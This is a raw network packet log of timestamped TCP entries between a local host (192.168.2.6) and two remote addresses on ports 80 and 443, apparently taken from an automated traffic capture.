Nov 17, 2024 12:35:25.248111963 CET	49788	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.248322964 CET	49788	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.248341084 CET	443	49788	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.284298897 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.284313917 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.284460068 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.284477949 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.284491062 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.284559965 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.296715021 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.296730995 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.296746016 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.296776056 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.296858072 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.296871901 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.296889067 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.296950102 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.296950102 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.296982050 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.297108889 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.297142982 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.297251940 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.297276020 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.297308922 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.297363997 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.297398090 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.297398090 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.297399998 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.297435045 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.297498941 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.298307896 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.298362970 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.298393965 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.298427105 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.298455954 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.298489094 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.298728943 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.298763037 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.298795938 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.298856974 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.298861027 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.298940897 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.298960924 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.298994064 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.299029112 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.299062014 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.299094915 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.299104929 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.299154997 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.299222946 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.299268007 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.299290895 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.299346924 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.299386978 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.299444914 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.299479008 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.299513102 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.299546957 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.299572945 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.299581051 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.299628973 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.299840927 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.299875021 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.299947023 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.299962044 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.299995899 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.300007105 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.300030947 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.300060034 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.300102949 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.300203085 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.300235987 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.300252914 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.300268888 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.300302982 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.300338030 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.300373077 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.300373077 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.300432920 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.300626993 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.300659895 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.300729990 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.300745010 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.300765991 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.300797939 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.300827980 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.300831079 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.300878048 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.300880909 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.300915956 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.300925970 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.301183939 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.301218033 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.301245928 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.301251888 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.301285982 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.301321983 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.301333904 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.301357031 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.301390886 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.301419973 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.301440954 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.301440954 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.301454067 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.301548004 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.301611900 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.301646948 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.301681042 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.301709890 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.301717043 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.301754951 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.301765919 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.302067041 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.302099943 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.302117109 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.302131891 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.302166939 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.302201986 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.302213907 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.302247047 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.302280903 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.302309990 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.302341938 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.302376032 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.302383900 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.302383900 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.302383900 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.302409887 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.302443027 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.302475929 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.302509069 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.302544117 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.302567959 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.302567959 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.302942991 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.302978039 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.303004026 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.303011894 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.303023100 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.303060055 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.303092003 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.303126097 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.303136110 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.303158045 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.303191900 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.303224087 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.303248882 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.303248882 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.303272009 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.303304911 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.303333998 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.306893110 CET	443	49784	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.317245007 CET	443	49785	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.323188066 CET	49784	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.323232889 CET	443	49784	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.323760986 CET	49784	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.323775053 CET	443	49784	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.324098110 CET	49785	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.324162006 CET	443	49785	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.324501038 CET	49785	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.324515104 CET	443	49785	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.331100941 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.331228971 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.331427097 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.331490040 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.331526041 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.331542969 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.331559896 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.331593037 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.331610918 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.331645966 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.331659079 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.331659079 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.331685066 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.331727982 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.358825922 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.358860970 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.358913898 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.358973980 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.359009027 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.359021902 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.359021902 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.359044075 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.359086037 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.359126091 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.359149933 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.359184980 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.359217882 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.359250069 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.359256029 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.359270096 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.359400988 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.359435081 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.359468937 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.359491110 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.359491110 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.401649952 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.401705980 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.401740074 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.401758909 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.401875973 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.407006025 CET	443	49786	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.407581091 CET	49786	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.407617092 CET	443	49786	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.408049107 CET	49786	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.408061028 CET	443	49786	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.413353920 CET	443	49787	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.413721085 CET	49787	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.413764954 CET	443	49787	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.413795948 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.413832903 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.413846016 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.413901091 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.413908005 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.413935900 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.413970947 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.413988113 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.414031029 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.414058924 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.414082050 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.414134979 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.414138079 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.414169073 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.414215088 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.414264917 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.414268970 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.414300919 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.414341927 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.414343119 CET	49787	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.414350033 CET	443	49787	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.414350986 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.414407015 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.414437056 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.414452076 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.414486885 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.415621996 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.415656090 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.415690899 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.415803909 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.415803909 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.415841103 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.415878057 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.415879965 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.415891886 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.415929079 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.415962934 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.415997982 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.416030884 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.416033030 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.416033030 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.416080952 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.416667938 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.416724920 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.416747093 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.416783094 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.416815996 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.416851044 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.416860104 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.416860104 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.416860104 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.416924953 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.416959047 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.416990995 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.416992903 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.417028904 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.417062044 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.417098999 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.417099953 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.417191029 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.417316914 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.417351961 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.417398930 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.417423964 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.417433977 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.417467117 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.417478085 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.417504072 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.417538881 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.417555094 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.417576075 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.417612076 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.417659044 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.417679071 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.417679071 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.417754889 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.417788029 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.417804003 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.417869091 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.417917013 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.417917967 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.417953014 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.417985916 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.418023109 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.418051004 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.418056965 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.418085098 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.418128014 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.418162107 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.418195009 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.418235064 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.418241978 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.418284893 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.418354034 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.418354034 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.418380976 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.418499947 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.418533087 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.418566942 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.418584108 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.418601036 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.418636084 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.418683052 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.418693066 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.418745041 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.418745041 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.418745041 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.418755054 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.418788910 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.418839931 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.418873072 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.418910027 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.418914080 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.418921947 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.418956041 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.418966055 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.418966055 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.419224977 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.419258118 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.419291973 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.419338942 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.419338942 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.419347048 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.419383049 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.419414997 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.419447899 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.419481039 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.419516087 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.419548988 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.419559956 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.419559956 CET	49751	80	192.168.2.6	185.215.113.16
